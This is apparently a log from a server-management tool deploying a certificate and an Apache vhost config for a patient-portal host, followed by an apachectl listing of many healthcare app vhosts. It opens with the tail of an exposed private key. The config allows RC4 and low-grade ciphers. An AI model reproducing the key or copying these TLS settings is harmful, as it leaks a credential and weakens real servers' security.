sxR4ib90BHEPX6t+uKBAZr89SLmln+UY8+Tnf0YhWyG9acWi2kDHRBEwwp0IsxY0
PdZ57TkmCauGo9HDkoe6GgvwqwKBgQDjzwJUTogGgP4EnDW+F/XAF+kkjHi6dVq5
zjZ96Sxbrt8S27JpmxsRnZBBGeIxW+3MRs5AJuagGB29k0+cUimVSVyBuW3CjSu3
MDL4PrG6gHdvlELK1AjONZ8uZx7Nj3DY+/cFHQdRIYqY/wvD8p3Aap2JXHGWAZUl
bmcsqF/jIwKBgQDUJZBPSyIIbz0bwW77XE155SNjMoctJhd3zrumn7Ce23emjkKP
pTlyJeloPbB0YSpKxYfi/CQOiD3Il18IdUKKsZx82/3Q2pIyIvDpIVsPKTA1Troa
6SsW8lT/THRXg6bbxEL/CrckKUGPPE04L3MTi4if1x6cPI6xlSU/qv67YQKBgFOP
cBRKhfyUvhgk0FW85iii3KLKX9JND41OBZDjwaCToUGCkovIGAK7H9mxS9W9GZmv
cyH24utgTTBnY3E8dgJLWYI/6PHO5HUaWefS31BApQ6pfGJ3qg8xfgUAUD0oW0VM
DsyyXCe3POZnzwH98T1OHiDvZr6WMAX93Bx2Wk2vAoGAVlhwqimB5v1h2X0JPGyY
BHUgPnej4S6/oxPNraH7hzbfGO4lg9NQ9bgWm2F72ctBza/bLEgWyTBaDBUrddOw
RsLzWccb2yTxSgDFgoJvO4DyqkIIBj/U0DnrB5SZIygGRc1bMrfEaa0VeheLn/ph
GTOxiCqUI9e0dfLl3tRt/bE=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-01-06 12:44:17: 

chmod 755 /tmp/pkp802680; /tmp/pkp802680; rm /tmp/pkp802680

2026-01-06 12:44:17: 


dir=/etc/ssl/certs


2026-01-06 12:44:18: 

PUT: /tmp/pkp768879

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-01-06 12:44:18: 

chmod 755 /tmp/pkp768879; /tmp/pkp768879; rm /tmp/pkp768879

2026-01-06 12:44:18: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf 52

<VirtualHost *:80>
    ServerName	athenahealth.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_portal/public
    <Directory /var/www/patientapps_portal/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/athenahealth_access.log combined
    ErrorLog	/var/log/apache2/patientapps/athenahealth_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.html index.htm index.php index.py
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	athenahealth.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/01745ae0ff7ef97623b09d98f99c6ad6.crt
    
    SetEnv SIMPLESAMLPHP_CONFIG_DIR	/var/simplesamlphp/config
    Alias	/simplesaml /var/simplesamlphp/www
    <Directory /var/simplesamlphp/www>
        Require	all granted
    </Directory>
    
    DocumentRoot	/var/www/patientapps_portal/public
    <Directory /var/www/patientapps_portal/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/athenahealth_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/athenahealth_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.php index.py
</VirtualHost>






2026-01-06 12:44:18: 

PUT: /tmp/pkp433768

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=patientapps_athenahealth_net.conf
TARGET=/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	athenahealth.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_portal/public
    <Directory /var/www/patientapps_portal/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/athenahealth_access.log combined
    ErrorLog	/var/log/apache2/patientapps/athenahealth_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.html index.htm index.php index.py
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	athenahealth.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/01745ae0ff7ef97623b09d98f99c6ad6.crt
    
    SetEnv SIMPLESAMLPHP_CONFIG_DIR	/var/simplesamlphp/config
    Alias	/simplesaml /var/simplesamlphp/www
    <Directory /var/simplesamlphp/www>
        Require	all granted
    </Directory>
    
    DocumentRoot	/var/www/patientapps_portal/public
    <Directory /var/www/patientapps_portal/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/athenahealth_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/athenahealth_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.php index.py
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/patientapps_athenahealth_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf)= /etc/apache2//etc/apache2/sites-enabled/patientapps_athenahealth_net.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/patientapps_athenahealth_net.conf= 1'
fi


2026-01-06 12:44:18: 

chmod 755 /tmp/pkp433768; /tmp/pkp433768; rm /tmp/pkp433768

2026-01-06 12:44:18: 




2026-01-06 12:44:18: 

PUT: /tmp/pkp491839

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-01-06 12:44:18: 

chmod 755 /tmp/pkp491839; /tmp/pkp491839; rm /tmp/pkp491839

2026-01-06 12:44:18: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-01-06 12:44:18: Establishing a connection
2026-01-06 12:44:18: 

PUT: /tmp/pkp213456

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-01-06 12:44:18: 

chmod 755 /tmp/pkp213456; /tmp/pkp213456; rm /tmp/pkp213456

2026-01-06 12:44:18: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:1)
                 alias myapp.care
         port 80 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:2)
         port 80 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:2)
                 alias www.cn-dego.myapp.care
         port 80 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:2)
                 alias www.d-oak.myapp.care
         port 80 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:2)
                 alias www.ma1-acrp.myapp.care
         port 80 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:2)
                 alias www.ma1-anfr.myapp.care
         port 80 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:2)
         port 80 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:2)
                 alias www.ma1-anin.myapp.care
         port 80 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:2)
                 alias www.ma1-ankp.myapp.care
         port 80 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:2)
                 alias www.ma1-anrp.myapp.care
         port 80 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:2)
                 alias www.ma1-arcr.myapp.care
         port 80 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:2)
                 alias www.ma1-asst.myapp.care
         port 80 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:2)
                 alias www.ma1-chel.myapp.care
         port 80 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:2)
                 alias www.ma1-cybb.myapp.care
         port 80 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:2)
         port 80 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:2)
                 alias www.ma1-epas.myapp.care
         port 80 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:2)
                 alias www.ma1-fass.myapp.care
         port 80 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:2)
         port 80 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:2)
         port 80 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:2)
                 alias www.ma1-ldhr.myapp.care
         port 80 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:2)
                 alias www.ma1-lsst.myapp.care
         port 80 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:2)
                 alias www.ma1-mtfp.myapp.care
         port 80 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:2)
                 alias www.ma1-mvrc.myapp.care
         port 80 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:2)
                 alias www.ma1-octf.myapp.care
         port 80 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:1)
         port 80 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:2)
                 alias www.ma1-ovin.myapp.care
         port 80 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:2)
                 alias www.ma1-pfer.myapp.care
         port 80 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:2)
                 alias www.ma1-prls.myapp.care
         port 80 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:1)
                 alias www.ma1-rcl.myapp.care
         port 80 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:2)
         port 80 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:2)
                 alias www.ma1-rorp.myapp.care
         port 80 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:2)
                 alias www.ma1-savr.myapp.care
         port 80 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:2)
                 alias www.ma1-shem.myapp.care
         port 80 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:2)
                 alias www.ma1-sspr.myapp.care
         port 80 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:2)
                 alias www.ma1-tosr.myapp.care
         port 80 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:2)
         port 80 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:2)
                 alias www.ma1-tylo.myapp.care
         port 80 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:2)
                 alias www.ma1-typa.myapp.care
         port 80 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:2)
                 alias www.ma1-tyto.myapp.care
         port 80 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:2)
                 alias www.ma1-utfa.myapp.care
         port 80 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:2)
                 alias www.ma1-vasc.myapp.care
         port 80 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:2)
                 alias www.ma1-vasr.myapp.care
         port 80 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:2)
                 alias www.ma2-acrp.myapp.care
         port 80 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:2)
                 alias www.ma2-anar.myapp.care
         port 80 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:2)
                 alias www.ma2-anfr.myapp.care
         port 80 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:2)
         port 80 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:2)
                 alias www.ma2-anin.myapp.care
         port 80 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:2)
                 alias www.ma2-anrp.myapp.care
         port 80 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:2)
                 alias www.ma2-buni.myapp.care
         port 80 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:2)
                 alias www.ma2-chel.myapp.care
         port 80 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:2)
                 alias www.ma2-hamm.myapp.care
         port 80 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:2)
                 alias www.ma2-hind.myapp.care
         port 80 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:1)
                 alias www.ma2-lcl.myapp.care
         port 80 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:2)
                 alias www.ma2-mdfu.myapp.care
         port 80 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:2)
                 alias www.ma2-mtfp.myapp.care
         port 80 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:1)
                 alias www.ma2-rcl.myapp.care
         port 80 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:2)
         port 80 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:2)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 80 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:1)
                 alias www.pai-lc.myapp.care
         port 80 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:2)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 80 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:2)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 80 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:2)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 80 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:1)
                 alias www.pai-rco.myapp.care
         port 80 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:2)
                 alias www.sma1-lgb.myapp.care
         port 80 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:2)
                 alias www.sma1-lrygb.myapp.care
         port 80 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:2)
                 alias www.sma1-lsg.myapp.care
         port 80 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:2)
                 alias www.sma1-pcnl.myapp.care
         port 80 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:2)
                 alias www.test.myapp.care
         port 80 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:8)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 80 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:2)
         port 80 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:2)
         port 80 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:2)
         port 80 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:1)
         port 80 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:2)
         port 80 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:2)
                 alias live.patientapps.net
         port 80 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:2)
         port 80 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:2)
         port 80 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:2)
         port 80 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:1)
                 alias www.patientapps.net
         port 80 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:2)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 80 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:1)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
*:443                  is a NameVirtualHost
         default server www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
         port 443 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
                 alias myapp.care
         port 443 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:22)
         port 443 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:19)
                 alias www.cn-dego.myapp.care
         port 443 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:22)
                 alias www.d-oak.myapp.care
         port 443 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:22)
                 alias www.ma1-acrp.myapp.care
         port 443 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:22)
                 alias www.ma1-anfr.myapp.care
         port 443 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:20)
         port 443 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:22)
                 alias www.ma1-anin.myapp.care
         port 443 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:22)
                 alias www.ma1-ankp.myapp.care
         port 443 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:22)
                 alias www.ma1-anrp.myapp.care
         port 443 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:22)
                 alias www.ma1-arcr.myapp.care
         port 443 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:22)
                 alias www.ma1-asst.myapp.care
         port 443 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:22)
                 alias www.ma1-chel.myapp.care
         port 443 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:22)
                 alias www.ma1-cybb.myapp.care
         port 443 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:21)
                 alias www.ma1-dego.myapp.care
         port 443 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:22)
                 alias www.ma1-epas.myapp.care
         port 443 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:22)
                 alias www.ma1-fass.myapp.care
         port 443 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:22)
         port 443 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:20)
         port 443 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:22)
                 alias www.ma1-ldhr.myapp.care
         port 443 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:22)
                 alias www.ma1-lsst.myapp.care
         port 443 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:22)
                 alias www.ma1-mtfp.myapp.care
         port 443 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:22)
                 alias www.ma1-mvrc.myapp.care
         port 443 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:22)
                 alias www.ma1-octf.myapp.care
         port 443 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:20)
         port 443 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:22)
                 alias www.ma1-ovin.myapp.care
         port 443 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:22)
                 alias www.ma1-pfer.myapp.care
         port 443 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:22)
                 alias www.ma1-prls.myapp.care
         port 443 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:8)
                 alias www.ma1-rcl.myapp.care
         port 443 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:20)
         port 443 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:22)
                 alias www.ma1-rorp.myapp.care
         port 443 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:21)
                 alias www.ma1-savr.myapp.care
         port 443 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:22)
                 alias www.ma1-shem.myapp.care
         port 443 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:22)
                 alias www.ma1-sspr.myapp.care
         port 443 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:22)
                 alias www.ma1-tosr.myapp.care
         port 443 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:20)
         port 443 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:22)
                 alias www.ma1-tylo.myapp.care
         port 443 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:22)
                 alias www.ma1-typa.myapp.care
         port 443 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:22)
                 alias www.ma1-tyto.myapp.care
